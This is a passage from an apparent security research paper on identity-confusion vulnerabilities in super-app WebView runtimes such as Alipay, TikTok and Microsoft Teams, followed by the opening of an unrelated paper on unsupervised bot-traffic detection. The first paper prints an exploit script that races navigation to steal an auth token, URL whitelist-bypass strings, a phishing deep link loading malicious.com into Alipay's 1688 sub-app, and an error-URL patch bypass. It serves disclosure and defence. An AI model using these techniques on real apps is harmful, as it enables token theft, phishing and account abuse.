eight out of 14 APIs and callbacks are vulnerable to frame-
based confusions. This list includes commonly-used ones like
onPageStarted, onPageFinished, and getUrl.

4.2 App ID Confusion

An AppID confusion is that a malicious domain with a privi-
leged AppID invokes a privileged runtime API, thus confusing
the super-app’s identity checks. We call it AppID confusion
because the malicious domain has the correct AppID, but the
domain itself is malicious. The key step for AppID confusion
is to load a malicious domain within a privileged sub-app.
In practice, we find three cases of such AppID confusions in
loading malicious URLs into privileged sub-apps.

Type 1: Flawed URL whitelist matching. This flaw is that
the URL whitelist used for loading is flawed, thus being able
to allow potential malicious URLs to load. The deep reason is
the lack of coordination and proper documents between super-
app and sub-apps. Specifically, the URL whitelist checking
algorithm is provided by the super-app, but the whitelist is
provided by the sub-app. Therefore, a misunderstanding of the
check algorithm often leads to flaws and we list two scenarios
here.

● endswith being misunderstood as strict matching. In
this scenario, the super-app provides endswith as the
matching algorithm, but the sub-app developer thinks it
is a strict matching. Therefore, when the sub-app uses
benign.com in the whitelist, an adversary can bypass the
check using a domain like maliciousbenign.com.
● Regular expression (regex) being misunderstood as strict

matching. In this scenario, the super-app uses regex
in the matching, but the sub-app developer still thinks it
is a strict matching. Therefore, when the sub-app uses
benign.a.com, the dot matches an arbitrary character.
That is, an adversary can bypass the check using a domain
like benignXa.com.

Type 2: Flawed URL parsing. This flaw is that super-apps
have logic errors in parsing URLs and extracting web domains.
We listed two types of parsing errors.

● Username and password fields. This parsing error is
that the super-app does not recognize username and pass-
word fields or a URL. Take https://benign.com:x@
malicious.com as an example. A logic error is to extract
benign.com as the domain name instead of malicious.
com.

● JavaScript protocol. This parsing error is that the super-
app does not recognize JavaScript as a protocol. Thus,
an attacker can use the URL javascript://payloads
to exploit the URL parsing, resulting in code injection
attacks and the loading of arbitrary domains.

Type 3: Missing URL checks. This flaw is that super-apps
do not check web domains when a sub-app loads a third-party
URL into either an iframe or a top frame. Therefore, an adver-
sary can either embed a malicious URL as an advertisement
or trick the top frame into visiting a malicious URL and then
accesses privileged APIs, such as reading user contacts.

4.3 Capability Confusion

A capability confusion is that the privileged capability used
for protecting runtime APIs is leaked to a malicious entity.
Specifically, we find two cases of capability confusion: un-
protected client-side and server-side APIs.

Type 1: Unprotected client-side API. This flaw is that
super-apps use a hidden, unprotected API to transfer capabili-
ties. The super-app assumes that the API is undocumented and
will not be used by an adversary, but the API can be reverse-
engineered from privileged sub-apps and used by an adversary.
It is worth noting that hidden APIs are a widespread problem
in super-apps, which takes up to about half of all the runtime
APIs (details are in Figure 3 of §5).

Type 2: Unprotected server-side API. This flaw is that a
privileged sub-app server exposes unprotected APIs to sign
an invocation request that can be accepted by a super-app.
Specifically, here is how the attack works. malicious.com
first sends a request to the sub-app’s back-end servers to
sign the invocation request and then forwards the request to
super-apps. Because the request is signed by a privileged sub-
app server, the super-app will allow the API invocation. Our
motivating example in Figure 4 has such a flaw.

5 Measurement: Prevalence & Consequence
In this section, we describe our measurement methodology
and results in analyzing the prevalence and consequence of
identity confusion vulnerabilities of existing super-apps. We
also give a few case studies at the end.

5.1 Methodology

In this subsection, we describe our overall measurement
methodology, which has three semi-automatic steps with man-
ual efforts.

5.1.1 Step I: Super-app Discovery

In this step, we use a semi-automatic method to discover
more super-apps beyond these that we find in §2. The high-
level insight is that super-apps often define many templates
(e.g., “miniapp0” and “miniapp1” for process names, and
“AbsMakePhoneCallApiHandler” and “AbsChooseAddress-
ApiHandler” for class names) in running different sub-apps,
which can be used to find app-in-app ecosystem.
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Specifically, there are three sub-steps. First, we use static
analysis by utilizing Soot [9], to identify apps with Web-
Views and JavaScript bridges, e.g., detecting whether they re-
implement addJavaScriptInterface. Second, we conduct
a class name similarity analysis to find super-app runtimes.
Specifically, we collect the class name of the activity which
contains WebView instances and keep those apps containing
at least five similar (i.e., sharing keywords) class or process
names as potential super-apps. Then, we use the keyword-
based package name matching to filter ads-related WebView
instances, which may have bridge implementation but are not
sub-apps runtime. Third, we manually verify whether they
are truly super-apps with app-in-app ecosystem.

5.1.2 Step II: Vulnerability Analysis

In this step, we analyze each super-app for different identity
confusion vulnerabilities. The high-level idea is that we man-
ually write test cases and exploits by the identity confusion
taxonomy and check the existence of each vulnerability. Al-
though our analysis is performed on Android, we use the Proof
of Vulnerability (PoV) for Android versions of super-apps to
verify whether their iOS versions are also vulnerable.

Domain name confusion analysis. The analysis has two
major steps: (i) determination of whether a vulnerable API
or callback in Table 3 is used, and (ii) manually generating
exploits triggering the vulnerability. Let us start with the first
step. There are two types of WebViews: Android WebView
or iOS counterpart, and customized WebView (e.g., UCWeb-
View). If it is an unchanged WebView, we can directly look
up Table 3; otherwise, if it is a customized WebView, we
will perform an analysis (as we did in §4.1.1) to determine
the vulnerable implementation on API or callback for this
WebView.

Second, we create a malicious webpage that invokes priv-
ileged runtime APIs with an endless loop, and let the web-
page trigger the event handlers, e.g., jumping to a privileged
domain. Next, if any of the privileged API executes success-
fully, it indicates that the super-app is vulnerable to domain
name confusion. Let us use onPageStarted as an exam-
ple to explain more clearly. Figure 8 illustrates the web-
page we crafted for testing Microsoft Teams—This JavaScript
starts a repeated asynchronous loop to invoke the privileged
runtime API “getAuthToken” with “window.setInterval()”,
and then uses “window.location.href” to jump to https:
//privileged.com for triggering WebView’s event handler
onPageStarted. Because there exists a race condition, the
return result from the privileged API is accessed by the old
page controlled by the adversary.

Note that we need to generate different exploit codes for
onPageStarted in WebViews with a >72 Chromium kernel.
The reason is that the time window for domain name confu-
sion in Figure 5 becomes very small and the race condition is
difficult to trigger. Specifically, we ask the webpage to load
an error URL (i.e., either a very long URL or an unregistered

1 //JavaScript
2 window.setInterval(function(){
3 res = nativeInterface.framelessPostMessage(’

{"id":1,"func":"authentication.getAuthToken","
args":[[" privileged.com"]]}’);

4 //res can be leaked to malicious server
5 ... ...
6 },1500);
7 window.location.href = "https://privileged.

com/";

Figure 8: Example for verifying domain name confusion. The
getAuthToken is a privileged API of Microsoft Teams. This
figure exhibits a race condition: although the webpage is set
to navigate to https://privileged.com, and so does the
domain name, the code is still executed under the old context
before the new page is loaded. The return value is accessed
by the old page controlled by the adversary during the small
interval.

URL scheme), making WebView execute its error-handling
code, thus enlarging the time window of race condition for
onPageStarted.

AppID confusion analysis. This analysis checks whether
an adversary can ask a super app to load any malicious do-
main in a sub-app. Specifically, we create a sub-app and set a
whitelist for benign domains. Then, we generate a variety of
URLs by mutating several initial seeds. Next, we randomly
select URLs that cannot match the whitelist to test the sub-
app. During the test, we hijack the network traffics and return
the same webpage we crafted for invoking privileged run-
time APIs, when requesting these URLs. Thus, if any of these
URLs is successfully loaded and the JavaScript executed, an
AppID confusion is confirmed.

Capability confusion analysis. This analysis checks
whether the API of transferring secret is exposed. Specifi-
cally, we first collect ten sub-apps for each super-app. Then,
we check how they invoke privileged APIs: (1) we first con-
duct a backward control-flow analysis and extract the adjacent
API calls before the invocation of privileged APIs; (2) we
cluster the extracted API calls; and (3) if there exists an API
which always is invoked before privileged APIs, it may be a
secret API. Then, we further check it with manual verification.

5.1.3 Step III: Consequence Analysis

In this step, we analyze the security consequence for each
vulnerable super-app. In practice, we find three kinds of such
consequences of identity confusion vulnerabilities. We now
explain our analysis methodology (mostly manual) below:

● Privilege Escalation. We manually inspect whether an
adversary can access privileged APIs after successfully
confusing the super-app and disguising itself as a privi-
leged identity. We consider the consequence that exists if
the adversary can access at least one of such APIs.
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Table 4: # of remaining apps in locating super-apps after
applying each filter.

Filtering Methods # Super-apps

Filter 1: Containing WebView 5,436
Filter 2: Redefining addJavaScriptInterface 3,463
Filter 3: Class name clustering 291
Filter 4: Manual analysis 47

Table 5: Breakdown of Identity Confusion Vulnerabilities of
47 Super-apps

Identity Confusion # Super-apps Examples

D
om

ai
n Type 1: Timing-based 15 WeChat, Alipay

Type 2: Frame-based 15 Microsoft Teams, Go-Jek

Total 15

A
pp

ID Type 1: Flawed matching 26 TikTok, Baidu
Type 2: Flawed parsing 2 WeChat, Go-Jek
Type 3: Missing checks 10 Microsoft Teams, UnionPay

Total 38

C
ap

ab
ili

ty Type 1: Client-side 1 UnionPay
Type 2: Server-side 1 WeChat

Total 2

No identity checks 9 Snapchat, Kuaishou

Total 47

● Phishing. We manually inspect whether a sub-app can
load web contents from a malicious domain, with phishing
contents.
● Privacy Leaks. We manually inspect whether an adversary

(e.g., a malicious domain) can access sensitive user data,
e.g., via some privileged APIs like getContacts.

5.2 Measurement Results

In this part, we describe our measurement results. The first
step gives us 47 super-apps: The number of remaining apps af-
ter applying each filter is shown in Table 4. Next, we describe
the results from Steps II and III.

5.2.1 Vulnerability Prevalence

Table 5 illustrates the overall results of our vulnerability analy-
sis. It shows that they (both the Android and iOS versions) are
all vulnerable to at least one type of identity confusion attack
despite the diversity in identity checks used in these super-
apps. Here are the breakdowns. Nine super-apps adopt no
identity checks at all, thus being all vulnerable; all 38 super-
apps with AppID checks are vulnerable; all 15 super-apps
with domain name checks are vulnerable; two super-apps with
capability checks, all are vulnerable. Note that the overlaps
are because one super-app may adopt more than one identity
check.

Additionally, there are two things worth noting for domain
confusion vulnerabilities. First, we evaluate the security of
customized WebViews used by some super-apps and show the
results in Table 6. To summarize, despite the customization,
they have the same vulnerabilities as Android’s WebView.

Table 6: The customized WebViews affected by [Domain
Name Confusion: Type 1], including the iOS’s WebView. We
collect the iOS version of these 47 super-apps.

Platform WebView Domain Name Confusion Affected Apps

Android

UCWebView ✔ 10
Tencent TBS ✔ 4

Baidu T5 ✔ 6
ToutiaoWebview ✔ 4

KsWebView ✔ 2
others ✔ 2

iOS WKWebView ✔ 47

Table 7: The system WebViews of stock Android with the
latest security patches. ∗ means attackers should use an error
URL to exploit the identity checks implemented on WebView
API onPageStarted.

Android Patch Level WebView’s Domain Name
Chromium Version Confusion

< Version 72
Android 6 2017-10-01 52 ✔
Android 7 2019-03-01 51 ✔
Android 8 2019-06-05 61 ✔
Android 9 2019-08-01 66 ✔

> Version 72
Android 10 2019-09-05 74 ✔⋆
Android 11 2021-07-05 83 ✔⋆

Table 8: Breakdown of Identity Confusion Consequences of
47 Super-apps

Consequences # Super-apps Examples

Privilege Escalation 38 Go-Jek, Grab
Phishing 31 TikTok, WeChat
Privacy Leaks 35 Alipay, Microsoft Teams

Second, we evaluate WebViews with Chromium as its kernel
in the stock Android from version 6 to the latest 11. The
results in Table 7 show that they are all vulnerable.

5.2.2 Vulnerability Consequence

Table 8 illustrates the overall results of our consequence anal-
ysis. It shows that such confusion vulnerabilities can lead
to phishing, privacy leaks, and privilege escalation. Here are
breakdowns: (i) 38 super-apps are vulnerable to privilege
escalation; (ii) 31 phishing; and (iii) 35 privacy leaks. This
demonstrates the severity of identity confusion.

Interestingly, during our manual inspection, we also find
some security consequences that are independent of identity
confusion. We list three types below:

● Permission re-delegation. When a benign domain applies
for permission and the user grants it, the super-app will
give this permission to the sub-app, but not the domain.
Then, any other domain, e.g., malicious.com, in this sub-
app can use this permission. We find and confirm that 21
super-apps have this vulnerability.
● Data leakage. It is the disclosure of sensitive information

to an adversary, such as token and account information.
The reason is that a sub-app does not check the destination
webpage when sending sensitive data. For example, an
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Table 9: The overall result of our flaws detection tool tested on the total 47 super-apps. Symbol "∅" means the host app does not
have this type of security enforcement. ✔ means it is vulnerable to our attack.

#ID Super-app Domain Name Confusion AppID Confusion Capability Confusion Security Consequences
Time-based Frame-based Privilege Escalation Phishing Attack Privacy Leaks

01 TikTok ✔ ✔ ✔ ∅ ✔ ✔ ✔
02 WeChat ✔ ✔ ✔ ✔ ✔ ✔ ✔
03 Snapchat ∅ ∅ ∅ ∅ ✔ ✔
04 Kuaishou ∅ ∅ ∅ ∅

05 Alipay ✔ ✔ ✔ ∅ ✔ ✔ ✔
06 Line ∅ ∅ ∅ ∅ ✔ ✔
07 UC Browser ✔ ✔ ✔ ∅ ✔ ✔ ✔
08 Baidu ∅ ∅ ✔ ∅ ✔ ✔ ✔
09 JinRiTouTiao ∅ ∅ ✔ ∅ ✔
10 Microsoft Teams ✔ ✔ ✔ ∅ ✔ ✔
11 Grab ∅ ∅ ∅ ∅ ✔ ✔
12 VK ∅ ∅ ✔ ∅ ✔ ✔
13 Paytm ∅ ∅ ✔ ∅ ✔ ✔
14 Go-Jek ✔ ✔ ∅ ∅ ✔ ✔ ✔
15 UnionPay ✔ ✔ ✔ ✔ ✔ ✔
16 Kugou ∅ ∅ ∅ ∅

17 QQ ∅ ∅ ✔ ∅ ✔ ✔ ✔
18 JingDong ∅ ∅ ✔ ∅ ✔ ✔ ✔
19 DingTalk ✔ ✔ ✔ ∅ ✔ ✔ ✔
20 Quark Browser ✔ ✔ ✔ ∅ ✔ ✔ ✔
21 Youku ✔ ✔ ✔ ∅ ✔ ✔ ✔
22 Cainiao ✔ ✔ ✔ ∅ ✔ ✔ ✔
23 Taobao ✔ ✔ ✔ ∅ ✔ ✔ ✔
24 Koubei ✔ ✔ ✔ ∅ ✔ ✔ ✔
25 Gaode ✔ ✔ ✔ ∅ ✔ ✔ ✔
26 iQIYI ∅ ∅ ✔ ∅ ✔ ✔ ✔
27 Tieba ∅ ∅ ✔ ∅ ✔ ✔ ✔
28 Baidu Map ∅ ∅ ✔ ∅ ✔ ✔ ✔
29 XiaoHongShu ∅ ∅ ✔ ∅ ✔ ✔
30 KanDuoDuo ∅ ∅ ✔ ∅ ✔ ✔ ✔
31 Baidu Netdisk ∅ ∅ ✔ ∅ ✔ ✔ ✔
32 Haokan ∅ ∅ ✔ ∅ ✔ ✔ ✔
33 Meituan ∅ ∅ ✔ ∅ ✔
34 NetEase Cloud Music ∅ ∅ ∅ ∅

35 Feishu ∅ ∅ ✔ ∅ ✔
36 Yippi ∅ ∅ ∅ ∅ ✔
37 Dianping ∅ ∅ ✔ ∅ ✔
38 Kuaishou-Mini ∅ ∅ ∅ ∅

39 JinRiTouTiao-Mini ∅ ∅ ✔ ∅ ✔
40 Tiktok-Mini ∅ ∅ ✔ ∅ ✔
41 Suning Finance ∅ ∅ ∅ ∅

42 QQ-Mini ∅ ∅ ✔ ∅ ✔ ✔ ✔
43 BaiduBaiKe ∅ ∅ ✔ ∅ ✔ ✔ ✔
44 Baidu Browser ∅ ∅ ✔ ∅ ✔ ✔ ✔
45 BaiduHanYu ∅ ∅ ✔ ∅ ✔ ✔ ✔
46 Baidu-Mini ∅ ∅ ✔ ∅ ✔ ✔ ✔
47 YiLu ✔ ✔ ✔ ∅ ✔ ✔ ✔

adversary can craft a deep link with the victim app ID and
a malicious URL, and then the sub-app will leak sensitive
user data to the malicious URL controlled by the adversary.
We randomly collected 200 popular sub-apps and found
that 21.5% of them are vulnerable to this attack.

● Data over-collection. Data over-collection is when a
super-app collects more data than it needs from a sub-
app, leading to a privacy concern. Specifically, we find
that WeChat hooks all the requests coming from sub-apps,
which include sub-app sensitive data, and sends them to
WeChat’s server.

5.3 Results and Case Studies

In this subsection, we present the overall results and perform
case studies of some identity confusion vulnerabilities. Ta-
ble 9 shows the statistics of collected 47 super-apps, including

the vulnerability types and security consequences. Nine super-
apps adopt no identity checks, thus all being vulnerable to our
attack. Several super-apps have privileged hidden APIs (e.g.,
“fetchAuthToken” in Snapchat) without any identity checks,
thus being vulnerable to privilege escalation or privacy leaks.
Kuaishou, Kugou, NetEase Cloud Music, and Suning Finance
have little API support and none of them is privileged ac-
cording to our manual analysis. JinRitouTiao has an AppID
confusion, but it redirects the hidden API invocation to an-
other sandbox WebView restricting the actual API calls. Thus,
we failed to launch privilege escalation or exploit privacy
leaks.

Now, we illustrate two specific interesting examples.

Example 1 [Alipay]: Manipulating Super-apps’ Backend
Servers. The first example is the domain name and AppID
confusions of Alipay, the most popular payment app in China
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Table 10: The trigger conditions of WebView’s error codes.

WebViewErrorCode Trigger Condition

ERR_CLEARTEXT_NOT_PERMITTED Set usesCleartextTraffic as false
ERR_NAME_NOT_RESOLVED Use a wrong sub-domain name
ERR_CONNECTION_CLOSED Use long URL, e.g., > 4,000 chars

ERR_UNKNOWN_URL_SCHEME Use unregistered scheme, e.g., Htttp

with about 690 million downloads. An adversary can further
manipulate Alipay’s backend servers by exploiting them.

Let us start with identity confusion vulnerabilities. First,
Alipay is vulnerable to domain name confusion due to race
conditions of a customized WebView called UCWebView.
Second, sub-apps of Alipay have AppID confusion due to a
flaw in Alipay’s URL whitelist matching. Particularly, Alipay
uses regular expression on string matching, but many sub-apps
think it is a strict matching and add domain names directly to
their whitelist.

Next, we describe the security consequences of Alipay’s
identity confusion. Alipay only checks AppID for any priv-
ileged API calls and therefore an adversary can access any
privileged API after successful identity confusion exploita-
tion. Specifically, Alipay has about 781 undocumented but
accessible APIs as shown in Figure 3. One of them, namely
“rpc()”, is privileged and can access Alipay’s backend cloud
sever. Note that this API is designed to be only used by Alipay
itself, but in fact, it can be accessed by any sub-app.

Now take a sub-app, 1688, an online wholesale market man-
aging over 920,000 virtual shops, for example, to illustrate
the attack and consequence. An attacker can first craft a phish-
ing deep link, e.g., alipays://platformapi/startapp?
appId=[1688]&url=malicious.com.... Then, when a mo-
bile user clicks the link, the 1688 sub-app will start and exe-
cute the malicious JavaScript from malicious.com, which
invokes the API “rpc()” to access Alipay’s cloud servers, e.g.,
managing user’s financial and account data.

Example 2 [TikTok]: Bypassing Security Patches with an
Error URL. This second example is the AppID and domain
name confusions of TikTok, a popular social app with about 18
billion downloads. The app ID confusion is from the matching
of URLs using endswith as we discussed in §4.2. Then, the
domain name confusion is from the check implemented on
customized WebView being vulnerable to the race condition
of onPageStarted. We reported the vulnerability to TikTok,
which then deployed a patch to update its chromium kernel
to the latest. However, the patch is still vulnerable because
we can utilize an error URL, delay the webpage rendering,
and enlarge the time window for the race condition. Note that
we further analyzed all WebView’s error codes, and found
four of them can be easily triggered by attackers as shown in
Table 10.

Here are the detailed steps to exploit TikTok’s domain name
confusion. First, attackers create a malicious webpage, which
abuses benign.com’s identity by executing the JavaScript

“window.location.href = htttp://maliciousbenign.com”. Since
“htttp” is not a supported scheme, this URL will trigger the
race condition of onPageStarted.

6 Lessons learned, Mitigation and Discussion
The most important lesson learned from our research is that
the identity checks of sub-apps (e.g., for allowing sensitive
API invocations) should follow the least privilege principle.
That is, the definition of identity in the app-in-app ecosystem
needs to be atomic, providing clear coordination between
developers of super-apps, sub-apps, and WebView.

From our point of view, the atomic definition free of identity
confusions is a combination of all three identities used in
the wild, i.e., domain name, sub-app ID, and capability. The
former two provide a definition of an atomic unit in an Access
Control List (ACL), and the latter provides a capability in
invoking specific privileged APIs. Specifically, when a sub-
app tries to invoke a privileged API of a super-app, the sub-
app will provide a secret signed by the private key from the
sub-app’s server like a digital signature. Next, the super-app
obtains the secret using the public key and then verifies the
secret, the domain name, and the sub-app ID before allowing
the invocation.

Other than the atomic identity definition, the mitigation of
identity confusions will also benefit from a domain synchro-
nization between the mobile and web layers of WebView. The
mobile code should be empowered to transparently obtain
the correct, synchronized, up-to-date domain of any frame in
WebView. Draco [42] provides a good example of such a do-
main synchronization. Specifically, Draco modifies the native
code of WebView and supports JavaScript to send the domain
information from the render thread. We believe that such a
practice should be integrated into the mainstream design of
WebView.

Last but not least, sub-app developers should also pay more
attention to its security, especially on sensitive but exposed
interfaces like the launching webpage. They should also care-
fully read the documents of super-apps to understand the
security checks, e.g., URL whitelisting.

Ethics. We discuss ethical issues of our study, including
vulnerability disclosure and experimental setups. First, we
have informed all the 47 super-apps of their vulnerabilities.
Currently, 29 super-apps have confirmed their vulnerabilities,
and 19 have already fixed them. Take Alipay, for an example.
We had regular monthly meetings with their developers for
half a year. In the end, Alipay not only fixed the vulnerabil-
ity but also rewarded us $2,500 as part of their bug bounty
program. Second, all the attacks are tested on our own de-
vices with our test accounts, which does not harm sub-apps,
super-apps, or any of their servers.

7 Related Work
App-in-App Ecosystem. Recent years witnessed several
techniques to support app-in-app ecosystems, such as web
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apps, hybrid apps, instant apps, and virtual apps. Numerous
studies [14, 27, 30, 41, 44, 46, 49–51] have looked into their
designs, prevalence, usages, and flaws. For example, DCV-
Hunter [46] focuses on differential context vulnerabilities for
hybrid apps. Lee et al. [27] investigate privacy issues and
side-channel flaws in progressive web apps. MIAFinder [41]
studies the link hijacking attacks to instant apps. Zhang et
al. [49] reveal the weak isolation between different virtual
apps. Lu et al. [30]. focus on analyzing the resource man-
agement flaws of app-in-app. Zhang et al. [51] design and
implement a novel, scalable crawler, called MiniCrawler, to
index over 1.3 million WeChat mini-apps and measure their
aggregated statistics, such as resource consumption, API/li-
brary usage, obfuscation rate, and app categorization/ratings.
As a comparison, our paper focuses on a special type of vul-
nerability, called identity confusion, with a different threat
model from prior works, which has not been studied before.

WebView Security. WebView is becoming a widely-used
component for loading web contents in mobile apps and has
been studied by many research works [6, 21, 25, 26, 29, 31,
32, 36, 39, 40, 43]. For example, Jin et al. [25], Li et al. [29],
Wang et al. [43] show that attackers can inject malicious
code into victim apps by exploiting insecure app communi-
cation channels (e.g., scheme and intent) in WebView-based
hybrid apps. Son et al. [39] analyze WebView-based adver-
tisement apps and find that malicious ads can hijack mobile
apps. As a comparison, our work focuses on identity confu-
sion vulnerabilities, e.g., how super-apps protect their APIs in
WebView-based sub-app runtime and whether the protection
is insecure.

Past works also study the race condition attacks in Web-
View. Lau et al. [26] present a semi-automated approach to
analyze the concurrency flows in the PhoneGap framework
and discover event-based race conditions of JavaScript APIs.
Another research work [6] also reports several race conditions
in WebView’s event handlers. As a comparison, our threat
model is different from theirs because our sub-app may also
include third-party resources. More importantly, our domain
name confusion part is much broader research on the Web-
View’s event handlers, which demonstrates the root causes
in design flaws and shows more varieties of exploiting such
vulnerabilities. Moreover, we also introduce a measurement
study to reveal how these event handlers affect the identity
checks of real-world mobile apps.

Identity Checks. Many research works investigate iden-
tity check flaws in mobile and web apps. We start from
the mobile part. Smalley et al. [38] demonstrate the limi-
tation of UID-based Discretionary Access Control (DAC)
and bring much more complicated Mandatory Access con-
trol (MAC) to the mobile system. Hernandez et al. [24] an-
alyze the issues of enforced security policies. We then de-
scribe web apps and their connection with mobile systems.
Prior works [15–18, 28, 45, 47] focus on the security issues

among multi-origin web pages. NoFrak [23] points out the
importance of protecting the web-to-mobile bridge. Then,
Draco [42], MobileIFC [37], WIREframe [22], and Hybrid-
Guard [34] present frameworks to extend the same origin
policy (SOP) to protect web-to-mobile bridges in hybrid appli-
cations and enforce fine-grained access control mechanisms.
Moreover, prior works [19, 20] discover additional flawed
URL parsing and matching examples in different scenarios,
such as email senders.

As a comparison, such app-level identification (e.g., UID-
based permission validation) and domain-based (e.g., cross-
site validation) authorization in mobile apps are different
from identity check problems in sub-apps of an app-in-app
ecosystem. Specifically, it is much more complicated for Web-
View based app-in-app ecosystem to integrate both app-level
identification and domain verification.

8 Conclusion

In this paper, we perform the first systematic study of so-
called identity confusions in real-world app-in-app ecosys-
tems. We categorize and taxonomize existing identity confu-
sions into three types—domain name, app ID, and capabil-
ity confusions—based on the identity check adopted in the
app-in-app ecosystem. Such identity confusion could lead
to severe consequences such as manipulating users’ finan-
cial accounts and malware installation on smartphones. Then,
we study 47 most popular super-apps supporting app-in-app
ecosystems and find that they are all vulnerable to at least
one type of aforementioned identity confusion. We also re-
sponsibly report all of the vulnerabilities to corresponding
super-app developers.
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Automated Detection of Automated Traffic
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Abstract
We describe a method to separate abuse from legitimate

traffic when we have categorical features and no labels are
available. Our approach hinges on the observation that, if we
could locate them, unattacked bins of a categorical feature
x would allow us to estimate the benign distribution of any
feature that is independent of x. We give an algorithm that
finds these unattacked bins (if they exist) and show how to
build an overall classifier that is suitable for very large data
volumes and high levels of abuse. The approach is one-sided:
our only significant assumptions about abuse are the existence
of unattacked bins, and that distributions of abuse traffic do
not precisely match those of benign.

We evaluate on two datasets: 3 million requests from a
web-server dataset and a collection of 5.1 million Twitter ac-
counts crawled using the public API. The results confirm that
the approach is successful at identifying clusters of automated
behaviors. On both problems we easily outperform unsuper-
vised methods such as Isolation Forests, and have comparable
performance to Botometer on the Twitter dataset.

1 Introduction

Abuse is ubiquitous on the modern web. Services intended
for human use must often contend with large volumes of bot
traffic which consume resources and degrade the quality of
experience delivered to legitimate users. This is especially
true if there is a strategy that allows monetization of the abuse.
Spam is an obvious example, but there are numerous others.
Password-guessing, web-scraping, CAPTCHA-solving, auto-
mated signup requests, inauthentic social-media engagements
and ranking- and click-fraud are examples of the large-scale
automated abuse that online attackers engage in.

Service providers thus have a difficult task in maintaining
good quality of service: they wish to block as much bot traffic
as possible with minimum inconvenience to legitimate human
users. None of the available solutions are without problems.
CAPTCHAs, or tasks intended to be easy for humans but

hard for bots [3,10], are widely employed but have had mixed
results. They cause considerable friction to users and there
has been significant success in breaking them in an auto-
mated way [9] [8]. Attaching reputation to IP addresses that
engage in abuse has achieved considerable success [35], but
implicitly assumes that abuse comes from a limited pool of
IP addresses and that this pool does not significantly overlap
that used by legitimate users; further it assumes this lack of
overlap will persist during deployment. Providers with tens
or hundreds of millions of users attacked from botnets with
millions of consumer IP addresses are unlikely to be able
to rely on reputation for reliable decisions. Supervised ma-
chine learning approaches are often inapplicable since for
many abuse problems there is no possibility of obtaining la-
bels. Indeed, some authors who have tried supervised ML
approaches reach pessimistic conclusions on its suitability
for bot detection; e.g, Jan et al [28] write “We argue that [a]
rule-based system should be the first choice over machine
learning for bot detection.” Anomaly detection approaches
are often geared towards discovering outliers that are “few
and isolated” [12]. By contrast, the abuse types listed above
can sometimes be 10 - 90% of overall traffic. Thus, there is
real difficulty applying anomaly detection techniques to this
problem. Unsupervised learning approaches (e.g., one-class
SVMs [32] and Isolation Forests [31]) usually assume nu-
meric features, and often struggle when we one-hot encode
categorical features.

In this paper we introduce a new method to estimate the
likelihood that incoming traffic requests are from bots. The
approach is designed for very noisy environments, e.g., where
50% or more of traffic is abuse. Our approach hinges on
the observation that if we can identify buckets of traffic that
contain little or no abuse then (under certain independence
assumptions) we can estimate the clean distributions. For
example, if none of the abuse traffic from Iowa uses Firefox
then P(x|Iowa, Firefox) gives us the clean distribution of x
for any feature that is independent of both state and browser
family. Obviously, we must be careful about independence
assumptions, and finding unattacked buckets is non-trivial,
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but if we can do these two things we will have the core of
what we need.

Our contributions are as follows. We give a method to es-
timate the likelihood that a request is bot rather than human
generated. The method is entirely unsupervised and requires
no labels. It is one-sided, and attempts to estimate only the
distributions of features in the benign1 traffic. Hence the as-
sumptions about attack traffic are mild; in particular we do
not assume stationarity of attack traffic, we do not assume
that abuse patterns seen in training will continue to be seen in
deployment, and we do not assume a scarcity of any partic-
ular resource, such as IP addresses, available to the attacker.
Our main attack assumptions are that at least some bins of
at least some categorical features receive little or no attack
traffic, and that at least some of the abuse distributions differ
from the benign (e.g., the benign distribution are unknown or
unachievable to the attacker). We show how these relatively
unattacked bins can be identified, how they can be used to
estimate feature distributions in the clean traffic, and hence
calculate the odds of being bot for any request. This method
is robust even if 90% or more of the traffic is abuse. The
technique requires large amounts of data and may be more
suitable to large rather than small or medium-scale services.
We evaluate on a web-log dataset and a collection of 5.1 mil-
lion Twitter accounts crawled between January and May 2021.
We call the algorithm PROS after the central mechanism of
its implementation: Pivot and seek Rank-One Sub-matrix.

2 Design principles

Our design goals and principles are as follows:

1. Unsupervised: for many abuse problems labels are un-
available and there is no way of establishing ground
truth.

2. One-sided: We estimate only the clean distributions. We
do not assume that patterns observed in attack behavior
will persist, or that the attack traffic seen in training is
representative of deployment.

3. Categorical features: much of the information collected
from a browser is categorical making it difficult to use
algorithms that assume real-valued features.

4. Robust to base-rate uncertainty and variation: the
approach should work if the base-rate of malicious traffic
is 10% of total, 90% of total, or anything in between. It
should be robust to variations in the base-rate.

5. Interpretable: Ideally, human operators should be able
to understand classification decisions.

1Note: we use the terms benign and malicious to refer to scripted and
non-scripted traffic, even when scripted traffic presents no harm.

We next explain our reasoning in choosing these principles.
Unsupervised: Many abuse problems are inherently unsu-

pervised. Web traffic that is a mixture of malicious and benign
offers no real way to establish ground truth. This is not simply
a question of cost or resources; even if we had unlimited bud-
get for human-labelling, the information available at the time
of the request is not enough for a human to distinguish bot
from legitimate requests. Chio and Freeman summarize [15]:

Unlike spam, which can be given to a human to
evaluate, there is no reasonable way to present an
individual request to a reviewer and have that per-
son label the request as bot or not.

For many problems labelling even a small portion of the data
is generally not possible. This property is common to a large
number of abuse types (e.g., scraping, click-fraud, password
guessing, credential stuffing). A recent paper by Xu et al [39]
describing Facebook’s abusive account detection acknowl-
edges the absence of ground-truth labels and notes that it
relies on “the results of rule-based heuristics as additional
‘approximate labels.”’

One-sided: Our detection method is a one-sided, or one-
class classifier, meaning that we estimate only the clean dis-
tribution. We make no effort to identify or codify patterns
of malicious behavior. It may be that one attacker sends a
million requests per day using Chrome59.0.3451, or from a
narrow block of IP addresses, or at a constant rate instead of
the expected diurnal variation. We will not seek out these pat-
terns; rather they will emerge naturally when distributions in
the abuse traffic differs from those of the benign traffic. In fact
exploiting any such patterns, if they exist, assumes that what
is seen in training is representative of deployment. Avoiding
this assumption means our approach is robust to changes in
the malicious traffic: it is deviation from the estimated clean
distribution that causes traffic to be marked as abusive rather
than any heuristic as to what counts as suspicious or assump-
tions about the persistence of observed abusive behavior.

Categorical features: For many abuse problems the avail-
able features are categorical. This is certainly true for prob-
lems involving web-traffic (see Section 6), but also for many
others. This restricts our options considerably since many
ML and anomaly detection algorithms work with numeric
features [12,25]. Unsupervised ML methods often rely on the
assumption that observations that are close in feature space
are more likely to belong to the same class. When we have
no natural idea of distance, as for categorical features, these
methods are hard to apply. Mapping categorical features to nu-
meric (e.g., using one-hot encoding) doesn’t help much since,
along each feature, observations are still either a distance
of 0 or 1 apart. Other attempts to define a distance are also
problematic. For example, traffic from ‘Chrome77.0.3770’ (a
major release of the browser) might be predominantly benign
while ‘Chrome77.0.3771’ (a non-released made-up version)
might be 100% malicious; the closeness of the strings tells us
